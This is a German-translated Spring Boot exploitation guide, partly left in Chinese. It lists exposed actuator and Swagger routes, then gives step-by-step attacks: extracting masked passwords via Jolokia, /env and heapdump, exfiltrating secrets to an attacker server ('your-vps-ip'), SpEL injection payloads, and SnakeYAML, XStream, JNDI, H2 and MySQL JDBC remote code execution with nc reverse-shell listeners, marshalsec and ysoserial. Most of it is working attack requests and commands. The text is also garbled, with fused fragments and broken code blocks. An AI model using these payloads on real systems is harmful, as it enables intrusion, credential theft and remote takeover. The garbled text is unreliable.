
SpringBoot-bezogene Schwachstellen-Lernmaterialien, Sammlung von Exploit-Methoden und -Techniken, Black-Box-Sicherheitsbewertungs-Checkliste
Spring Boot Schwachstellen-Lernmaterialien, Nutzungsmethoden und Techniken-Sammlung, Black-Box-Sicherheitscheckliste
⚠️ Alle Inhalte dieses Projekts dienen ausschließlich zu Sicherheitsforschungs- und autorisierten Testzwecken. Die Verantwortlichen übernehmen keinerlei Haftung für Schäden, die durch Missbrauch und falsche Verwendung dieses Projekts entstehen.
/manage, /management oder projektbezogene App-Namen als Stammpfad von Spring./ als Startpfad für integrierte Routen, während 2.x einheitlich /actuator als Startpfad verwendet./env, werden manchmal von Programmierern geändert, z. B. in /appenv.Spring Cloud ist eine geordnete Sammlung von Frameworks, die auf Spring Boot aufbauen, um Dienste zu erstellen und gängige Funktionen wie Konfigurationsverwaltung, Dienstregistrierung und -erkennung sowie intelligentes Routing bereitzustellen, die die schnelle Entwicklung verteilter Systeme unterstützen.
| Abhängigkeit | Versionsliste und abhängige Komponentenversionen |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies | spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud Hauptversion | Spring Boot Version |
|---|---|
| Angel | Kompatibel mit Spring Boot 1.2.x |
| Brixton | Kompatibel mit Spring Boot 1.3.x, 1.4.x |
| Camden | Kompatibel mit Spring Boot 1.4.x, 1.5.x |
| Dalston | Kompatibel mit Spring Boot 1.5.x, nicht kompatibel mit 2.0.x |
| Edgware | Kompatibel mit Spring Boot 1.5.x, nicht kompatibel mit 2.0.x |
| Finchley | Kompatibel mit Spring Boot 2.0.x, nicht kompatibel mit 1.5.x |
| Greenwich | Kompatibel mit Spring Boot 2.1.x |
| Hoxton | Kompatibel mit Spring Boot 2.2.x |
| Nebenversionssuffix | Bedeutung |
|---|---|
| BUILD-SNAPSHOT | Snapshot-Version, Code nicht festgelegt, in Veränderung |
| MX | Meilenstein-Version |
| RCX | Release-Kandidat |
| RELEASE | Offizielle Release-Version |
| SRX | Offizielle Release-Version (nach Fehlerbehebung und erneuter Veröffentlichung) |
Entwickler erkennen nicht, dass das Leck von Adressen zu Sicherheitsrisiken führen kann, oder wenn die Entwicklungsumgebung in die Produktionsumgebung umgestellt wird, haben die Verantwortlichen die Konfigurationsdatei nicht geändert und vergessen, die Umgebungskonfiguration zu wechseln.
Direkter Zugriff auf die folgenden beiden Swagger-bezogenen Routen, um zu überprüfen, ob die Schwachstelle existiert:``` /v2/api-docs /swagger-ui.html
Einige andere swagger-, swagger codegen-, swagger-dubbo- und ähnliche API-Routen, die möglicherweise auftreten:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Darüber hinaus enthalten die folgenden spring boot actuator-bezogenen Routen manchmal auch (oder lassen sich ableiten) einige Informationen über API-Endpunktadressen, jedoch können keine Parameterinformationen abgerufen werden:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**Im Allgemeinen ist das Offenlegen von Schnittstellen und Parameterinformationen einer Spring Boot-Anwendung kein Sicherheitsproblem**, aber im Sinne von "**Standardmäßig sicher**" ist es sicherer, diese Informationen nicht preiszugeben.
Für Angreifer ist es üblich, die offengelegten Schnittstellen genau zu prüfen, um mehr über das Geschäftssystem zu erfahren, und gleichzeitig zu überprüfen, ob das Anwendungssystem andere Arten von Sicherheitslücken aufweist, wie z. B. nicht autorisierten Zugriff oder Rechteausweitung.
### 0x02: Durch Fehlkonfiguration offengelegte Routen
> Der Hauptgrund ist, dass der Entwickler während der Entwicklung nicht erkannt hat, dass das Offenlegen von Routen Sicherheitsrisiken mit sich bringen kann, oder dass er nicht nach dem Standardprozess entwickelt hat und vergessen hat, die Konfiguration für die Produktionsumgebung zu ändern/umzustellen, wenn die Anwendung in Betrieb genommen wird.
Unter Bezugnahme auf [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) und [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) könnten die folgenden standardmäßig integrierten Routen aufgrund von Fehlkonfiguration offengelegt werden:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
/jolokia 或 /actuator/jolokia 接口jolokia-core 依赖(版本要求暂未知)GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。
org.springframework.boot Mbean实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment MbeanTatsächlich wird die getProperty-Methode der Instanz der org.springframework.cloud.context.environment.EnvironmentManager-Klasse aufgerufen.
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
/env/env/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter-netflix-eureka-client 依赖GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80
##### Schritt 3: Einstellen der Eigenschaft eureka.client.serviceUrl.defaultZone
Ersetzen Sie in der folgenden `http://value:${security.user.password}@your-vps-ip` den Wert von `security.user.password` durch den entsprechenden durch Sternchen * verdeckten Eigenschaftsnamen, den Sie abrufen möchten;
Ersetzen Sie `your-vps-ip` durch die echte IP-Adresse Ihres externen Servers.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Schritt vier: Konfiguration aktualisieren
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Schritt 5: Dekodieren des Attributwerts
Normalerweise erhält der auf nc lauschende Server zu diesem Zeitpunkt eine Anfrage vom Ziel, welche einen `Authorization`-Header mit folgendem Inhalt enthält:```
Authorization: Basic dmFsdWU6MTIzNDU2
将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。
Dekodieren Sie den Teil dmFsdWU6MTIzNDU2 mit base64, um einen ähnlichen Klartextwert value:123456 zu erhalten, wobei 123456 der ursprüngliche Klartext des maskierten Attributwerts (Sternchen *) ist.
/env und lösen Sie so aus, dass das Ziel eine beliebige HTTP-Anfrage an eine externe Adresse sendetSiehe issue-1 von UUUUnotfound. Während das Ziel eine externe HTTP-Anfrage sendet, kann der Platzhalter im URL-Pfad zum Extrahieren von Daten verwendet werden.
Senden Sie eine GET-Anfrage an /env oder /actuator/env des Ziels, suchen Sie nach dem Schlüsselwort ****** und finden Sie den Attributnamen, der dem mit Sternchen * maskierten Wert entspricht.
Lauschen Sie auf dem externen Server (Ihre Kontrolle) auf Port 80:```bash nc -lvk 80
##### Schritt 3: Auslösen einer ausgehenden HTTP-Anfrage
- `spring.cloud.bootstrap.location`-Methode (**gilt auch für** Fälle, in denen Klartextdaten spezielle URL-Zeichen enthalten)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` Methode (**nicht anwendbar** bei Klartextdaten mit speziellen URL-Zeichen)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Schritt 4: Konfiguration aktualisieren
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: Klartext von durch Sternchen maskierten Passwörtern abrufen (Methode 4)
> Beim Zugriff auf den `/env`-Endpoint ersetzt Spring Actuator die Werte von Eigenschaften mit sensiblen Schlüsselwörtern (wie password, secret) durch *-Zeichen, um eine Maskierung zu erreichen.
#### Voraussetzungen:
- Normale GET-Anfrage an das Ziel `/heapdump` oder `/actuator/heapdump` ist möglich
#### Vorgehensweise:
##### Schritt 1: Den gewünschten Eigenschaftsnamen finden
Senden Sie eine GET-Anfrage an den `/env`- oder `/actuator/env`-Endpoint der Zielseite. Suchen Sie nach dem Schlüsselwort `******` und finden Sie den Eigenschaftsnamen, der dem durch * maskierten Wert entspricht.
##### Schritt 2: JVM-Heap-Dump herunterladen
> Die heruntergeladene Heapdump-Datei ist normalerweise zwischen 50M und 500M groß, kann aber auch über 2G betragen.
Senden Sie eine GET-Anfrage an den `/heapdump`- oder `/actuator/heapdump`-Endpoint des Ziels, um die aktuellen JVM-Heap-Informationen der Anwendung herunterzuladen.
##### Schritt 3: Mit MAT das Klartextpasswort aus dem JVM-Heap extrahieren
Siehe die Methode im [Artikel](https://landgrey.me/blog/16/), verwenden Sie die **OQL**-Anweisungen des [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) Tools.```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
Da die Schwachstellen im Zusammenhang mit Spring Boot durch eine Kombination mehrerer Komponentenschwachstellen verursacht werden können, sind einige Schwachstellennamen nicht ganz standardisiert, um sie dennoch unterscheiden zu können.
Zum Beispiel, wenn der Zugriff auf /article?id=xxx einen Fehler mit Statuscode 500 auf der Seite Whitelabel Error Page auslöst, werden alle nachfolgenden Payloads im Parameter id versucht.
Geben Sie /article?id=${7*7} ein. Wenn die Fehlerseite den Wert von 7*7 (49) berechnet und anzeigt, kann grundsätzlich bestätigt werden, dass das Ziel eine Schwachstelle für die SpEL-Ausdrucksinjektion aufweist.
Durch Konvertierung des Zeichenkettenformats in die 0x**-Byteform von Java wird die Ausführung von beliebigem Code erleichtert:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Führe den Befehl `open -a Calculator` aus```java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue geparst${} umschlossen sind, werden von der Methode resolvePlaceholder der Klasse org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration als SpEL-Ausdruck geparst und ausgeführt, was zu einer RCE-Schwachstelle führtNormaler Zugriff:``` http://127.0.0.1:9091/article?id=66
Führen Sie den Befehl `open -a Calculator` aus:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env-Schnittstelle der Zielwebsite zum Setzen von Eigenschaften/refresh-Schnittstelle der Zielwebsite zum Aktualisieren der Konfiguration (Abhängigkeit spring-boot-starter-actuator vorhanden)spring-cloud-starter < 1.3.0.RELEASEStarten Sie auf Ihrem eigenen VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Service-Ports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Platzieren Sie im Stammverzeichnis der Website eine Datei mit der Endung `yml` namens `example.yml`,mit folgendem Inhalt:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Im Webverzeichnis die Datei example.jar mit der Erweiterung jar ablegen, die den auszuführenden Code enthält. Informationen zur Codeerstellung und Kompilierung finden Sie unter yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location wird auf die URL-Adresse einer externen bösartigen YML-Datei gesetzt.java.net.URL ausgelöst, um die bösartige JAR-Datei vom entfernten HTTP-Server abzurufen.javax.script.ScriptEngineFactory implementiert, und diese wird instanziiert.Normaler Zugriff:``` http://127.0.0.1:9092/env
### 0x03: Eureka XStream Deserialization RCE
#### Voraussetzungen:
- Sie können eine POST-Anfrage an den Endpunkt `/env` der Ziel-Website senden, um Eigenschaften zu setzen.
- Sie können eine POST-Anfrage an den Endpunkt `/refresh` der Ziel-Website senden, um die Konfiguration zu aktualisieren (abhängig von `spring-boot-starter-actuator`).
- Das vom Ziel verwendete `eureka-client` < 1.8.7 (normalerweise enthalten in der Abhängigkeit `spring-cloud-starter-netflix-eureka-client`).
- Das Ziel kann den HTTP-Server des Angreifers erreichen (Anfragen können nach außen gehen).
#### Ausnutzungsmethode:
##### Schritt 1: Einrichten einer Website, die eine schädliche XStream-Payload bereitstellt
Stellen Sie ein [Python-Skriptbeispiel](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) bereit, das auf Flask basiert und den Anforderungen entspricht. Die Funktion besteht darin, mithilfe des auf der Ziel-Linux-Maschine vorhandenen Pythons eine Reverse-Shell zu öffnen.
Führen Sie das obige Skript auf Ihrem eigenen kontrollierten Server mit Python aus und ändern Sie die IP-Adresse und Portnummer für die Reverse-Shell im Skript entsprechend den tatsächlichen Gegebenheiten.
##### Schritt 2: Lauschen auf den Port der Reverse-Shell
Normalerweise verwenden Sie nc, um auf einen Port zu lauschen und auf die Reverse-Shell zu warten.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Normaler Zugriff:``` http://127.0.0.1:9093/env
### 0x04: Jolokia Logback JNDI RCE
#### Nutzungsbedingungen:
- Die Zielwebsite hat die Schnittstelle `/jolokia` oder `/actuator/jolokia`.
- Das Ziel verwendet die Abhängigkeit `jolokia-core` (Versionsanforderung derzeit unbekannt) und es gibt relevante MBeans in der Umgebung.
- Das Ziel kann den HTTP-Server des Angreifers anfordern (Anfragen können das externe Netzwerk erreichen).
- Normale JNDI-Injection wird durch die JDK-Version des Ziels beeinflusst: JDK < 6u201/7u191/8u182/11.0.1 (LDAP), aber relevante Umgebungen können umgangen werden.
#### Nutzungsmethode:
##### Schritt 1: Vorhandene MBeans anzeigen
Greifen Sie auf die Schnittstelle `/jolokia/list` zu und prüfen Sie, ob die Schlüsselwörter `ch.qos.logback.classic.jmx.JMXConfigurator` und `reloadByURL` vorhanden sind.
##### Schritt 2: XML-Datei hosten
Starten Sie auf einem von Ihnen kontrollierten VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Lege im Stammverzeichnis die Datei example.xml, die auf xml endet, mit folgendem Inhalt ab:```xml
##### Schritt 3: Vorbereitung des auszuführenden Java-Codes
Schreiben Sie den optimierten [Java-Beispielcode](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) für einen Reverse Shell `JNDIObject.java`,
Kompilieren Sie es mit einer mit niedrigeren JDK-Versionen kompatiblen Methode:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Kopieren Sie dann die generierte Datei JNDIObject.class in das Stammverzeichnis der Website aus Schritt 2.
Laden Sie marshalsec herunter und verwenden Sie den folgenden Befehl, um den entsprechenden LDAP-Dienst einzurichten:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Schritt 5: Den Port für die Reverse-Shell abhören
Normalerweise wird nc verwendet, um einen Port abzuhören und auf die Reverse-Shell zu warten.```bash
nc -lv 443
⚠️ Wenn das Ziel erfolgreich example.xml anfordert und marshalsec die Zielanfrage auch empfangen hat, das Ziel jedoch nicht JNDIObject.class anfordert, liegt es höchstwahrscheinlich daran, dass die JDK-Version in der Zielumgebung zu hoch ist, was zu einem Fehler bei der JNDI-Ausnutzung führt.
Ersetzen Sie die tatsächliche your-vps-ip-Adresse und greifen Sie auf die URL zu, um die Schwachstelle auszulösen:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Schwachstellenprinzip:
1. Direkter Zugriff auf die URL, die die Schwachstelle auslöst, entspricht dem Aufrufen der Methode `reloadByURL` der Klasse `ch.qos.logback.classic.jmx.JMXConfigurator` über jolokia.
2. Die Zielmaschine fordert die URL-Adresse der externen Logkonfigurationsdatei an und erhält den Inhalt einer bösartigen XML-Datei.
3. Die Zielmaschine verwendet saxParser.parse, um die XML-Datei zu parsen (hier tritt die XXE-Schwachstelle auf).
4. In der XML-Datei wird das Tag `insertFormJNDI` der Abhängigkeit `logback` verwendet, um die Adresse eines externen JNDI-Servers festzulegen.
5. Die Zielmaschine fordert den bösartigen JNDI-Server an, was zu einer JNDI-Injektion führt und eine RCE-Schwachstelle verursacht.
#### Schwachstellenanalyse:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Schwachstellenumgebung:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Normaler Zugriff:```
http://127.0.0.1:9094/env
/jolokia- oder /actuator/jolokia-Schnittstelle.jolokia-core-Abhängigkeit (die genaue Version ist unbekannt) und in der Umgebung sind entsprechende MBeans vorhanden.Greifen Sie auf die Schnittstelle /jolokia/list zu und prüfen Sie, ob die Schlüsselwörter type=MBeanFactory und createJNDIRealm vorhanden sind.
Schreiben Sie den optimierten Java-Beispielcode JNDIObject.java, der eine Reverse Shell auslöst.
Starten Sie auf Ihrem kontrollierten VPS einen einfachen HTTP-Server. Verwenden Sie möglichst häufig genutzte HTTP-Dienstports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
##### 步骤四:架设恶意 rmi 服务
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Normalerweise wird nc verwendet, um einen Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lvp 443
##### Schritt 6: Senden der schädlichen Payload
Ändern Sie die Zieladresse, die RMI-Adresse, den Port und andere Informationen im Skript [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) entsprechend der tatsächlichen Situation und führen Sie es dann auf dem von Ihnen kontrollierten Server aus.
#### Schwachstellenprinzip:
1. Verwenden Sie jolokia, um createJNDIRealm aufzurufen und JNDIRealm zu erstellen
2. Setzen Sie die connectionURL-Adresse auf die RMI Service URL
3. Setzen Sie contextFactory auf RegistryContextFactory
4. Stoppen Sie das Realm
5. Starten Sie das Realm, um die JNDI-Injektion an der angegebenen RMI-Adresse auszulösen, was zu einer RCE-Schwachstelle führt
#### Schwachstellenanalyse:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Schwachstellenumgebung:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Normaler Zugriff:```
http://127.0.0.1:9094/env
/env-Schnittstelle der Zielwebsite, um Eigenschaften zu setzen/restart-Schnittstelle der Zielwebsite, um die Anwendung neu zu startencom.h2database.h2 vorhanden (Versionsanforderung derzeit unbekannt)⚠️ Die Methode 'T5' im folgenden Payload muss nach jeder Befehlsausführung umbenannt werden (z. B. T6), damit sie neu erstellt und verwendet werden kann. Andernfalls wird die Schwachstelle beim nächsten Neustart der Anwendung nicht ausgelöst.
spring 1.x (Befehlsausführung ohne Rückmeldung)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(Befehlsausführung ohne Echo)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query wird auf eine bösartige CREATE ALIAS SQL-Anweisung zur Erstellung einer benutzerdefinierten Funktion gesetzt.connectionTestQuery des HikariCP-Datenbankverbindungspools und definiert die SQL-Anweisung, die vor dem Aufbau einer neuen Datenbankverbindung ausgeführt wird.Normaler Zugriff:``` http://127.0.0.1:9096/actuator/env
### 0x07: h2 Datenbankkonsole JNDI RCE
#### Nutzungsbedingungen:
- Abhängigkeit `com.h2database.h2` vorhanden (Versionsanforderung derzeit unbekannt)
- H2-Konsole in der Spring-Konfiguration aktiviert `spring.h2.console.enabled=true`
- Das Ziel kann den Server des Angreifers anfordern (Anfragen können das externe Netzwerk erreichen)
- JNDI-Injektion wird von der JDK-Version des Ziels beeinflusst, jdk < 6u201/7u191/8u182/11.0.1 (LDAP-Methode)
#### Nutzungsmethode:
##### Schritt 1: Route aufrufen, um jsessionid zu erhalten
Rufen Sie direkt die Standardroute `/h2-console` des Ziels auf, bei der die H2-Konsole aktiviert ist. Das Ziel leitet zur Seite `/h2-console/login.jsp?jsessionid=xxxxxx` weiter. Notieren Sie sich den tatsächlichen Wert von `jsessionid=xxxxxx`.
##### Schritt 2: Java-Code zur Ausführung vorbereiten
Schreiben Sie den optimierten [Java-Beispielcode](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) für eine Reverse-Shell `JNDIObject.java`,
Kompilieren Sie mit einer Methode, die mit älteren JDK-Versionen kompatibel ist:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
然后将生成的 JNDIObject.class 文件拷贝到 Schritt 2 中的网站根目录。
Auf Ihrem eigenen VPS einen einfachen HTTP-Server starten. Verwenden Sie nach Möglichkeit gängige HTTP-Ports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Kopieren Sie die in **Schritt 2** kompilierte class-Datei in das Stammverzeichnis des HTTP-Servers.
##### Schritt 4: Einrichten eines bösartigen LDAP-Dienstes
Laden Sie [marshalsec](https://github.com/mbechler/marshalsec) herunter und richten Sie den entsprechenden LDAP-Dienst mit dem folgenden Befehl ein:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Normalerweise wird nc verwendet, um den Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lv 443
##### Schritt 6: Paket senden, um JNDI-Injection auszulösen
Ersetzen Sie entsprechend der tatsächlichen Situation die folgenden Daten: `jsessionid=xxxxxx`, `www.example.com` und `ldap://your-vps-ip:1389/JNDIObject````bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Normaler Zugriff:``` http://127.0.0.1:9096/h2-console
### 0x08: mysql jdbc deserialization RCE
#### Voraussetzungen:
- Es muss möglich sein, per POST-Anfrage an die `/env`-Schnittstelle der Zielseite Eigenschaften zu setzen
- Es muss möglich sein, per POST-Anfrage an die `/refresh`-Schnittstelle der Zielseite die Konfiguration zu aktualisieren (Vorhandensein der Abhängigkeit `spring-boot-starter-actuator`)
- Im Zielsystem muss die Abhängigkeit `mysql-connector-java` vorhanden sein
- Das Ziel muss in der Lage sein, den Server des Angreifers anzufragen (Anfragen müssen das externe Netzwerk erreichen)
#### Methode:
##### Schritt 1: Umgebungsabhängigkeiten prüfen
Senden Sie eine GET-Anfrage an `/env` oder `/actuator/env`, suchen Sie in den Umgebungsvariablen (classpath) nach dem Schlüsselwort `mysql-connector-java` und notieren Sie die Versionsnummer (5.x oder 8.x);
Suchen und beobachten Sie in den Umgebungsvariablen, ob gängige Deserialisierungs-Gadget-Abhängigkeiten vorhanden sind, wie z. B. `commons-collections`, `Jdk7u21`, `Jdk8u20` usw.;
Suchen Sie nach dem Schlüsselwort `spring.datasource.url` und notieren Sie dessen `value`-Wert, um später die normale JDBC-URL wiederherstellen zu können.
##### Schritt 2: Einen bösartigen Rogue-MySQL-Server aufsetzen
Führen Sie auf Ihrem kontrollierten Server das Skript [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) aus und verwenden Sie [ysoserial](https://github.com/frohoff/ysoserial), um den auszuführenden Befehl anzupassen:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。
⚠️ Das Ändern dieser Eigenschaft führt vorübergehend dazu, dass alle normalen Datenbankdienste der Website nicht verfügbar sind, was sich auf den Geschäftsbetrieb auswirkt. Bitte mit Vorsicht vorgehen!
